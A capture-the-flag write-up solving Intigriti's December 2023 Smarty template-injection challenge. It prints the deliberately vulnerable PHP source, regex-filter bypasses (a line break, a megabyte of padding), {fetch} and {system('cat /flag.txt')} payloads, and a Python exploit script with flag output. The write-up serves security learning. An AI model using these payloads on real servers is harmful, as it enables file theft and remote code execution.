Intigriti’s December challenge by protag
2023-12-21 07:30:0 Author: fireshellsecurity.team(查看原文) 阅读量:3 收藏

Intigriti brings us monthly web challenge with really interesting problems.

The Challenge

This challenge was mostly the same of the 1337up CTF 2023, called Smarty Pants, which I solved :)

It comes with the following PHP source:

<?php
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s';

if(!isset($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->display('index.tpl');
    exit();
}

// returns true if data is malicious
function check_data($data){
    global $pattern;
    return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->assign('error', 'Malicious Inputs Detected');
    $smarty->display('index.tpl');
    exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

It basically:

  • Gets a string from a POST
  • Blocks some SSTI and XSS, using a RegEx filter.
  • Uses our string as a Template for the Smarty template engine.

The Smarty template allows us to use advanced functions, by using template tags enclosed by curly braces: { and }. e.g:

<h1>{$title|escape}</h1>
<ul>
    {foreach $cities as $city}
        <li>{$city.name|escape} ({$city.population})</li>
    {foreachelse}
        <li>no cities found</li>        
    {/foreach}
</ul>

Solution for the CTF

The Smarty documentation gives us a simple solution for getting the flag:

{fetch}

The fetch function allows us to display the contents of a file, as simple as that:

{fetch file='/flag.txt'}

This template tag fetches the flag, but is blocked by the Regex filter. On the CTF challenge, the filter was this:

/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/

To bypass this filter, I used an unintended solution, which was a line break:

{fetch file='/flag.txt'
}

That gave us the CTF challenge flag.

INTIGRITI{php_4nd_1ts_many_f00tgun5}

Solution for the December challenge

On the December challenge, there was a small, but deadly change on the RegEx filter. The s in the end:

/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/s

This small modifier makes the . match the newline, which blocks our previous solution.

While studying ways to bypass the regex, I found that big strings can break the regex: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp#length-error-bypass

So, the plan was to send a huge string. At first, I was blocked by HTTP 413, but working on the size, I found the right size to break it.

"{fetch file='/flag.txt'}"+("a"*1000000)

This is basically the same payload, with a lot of a’s after it.

The final exploit was this:

import requests

data = {
    'data': "{fetch file='/flag.txt'}"+("a"*1000000),
}

response = requests.post('https://challenge-1223.intigriti.io/challenge.php', data=data)

print(response.status_code)
print(response.text)

And by running it, we get the flag:

$ python int_dez23.py | cut -c-100
200
INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Flag INTIGRITI{7h3_fl46_l457_71m3_w45_50_1r0n1c!}

Increasing the impact

Just found I can also RCE with the {system} function.

{system('cat /flag.txt')}aaa...
python int_dez23.py | cut -c-100
200
challenge.php
index.php
resources

The impact is higher :)

References

Capture the Flag , Web , Writeup


文章来源: https://fireshellsecurity.team/intigriti-december-challenge/
如有侵权请联系:admin#unsafe.sh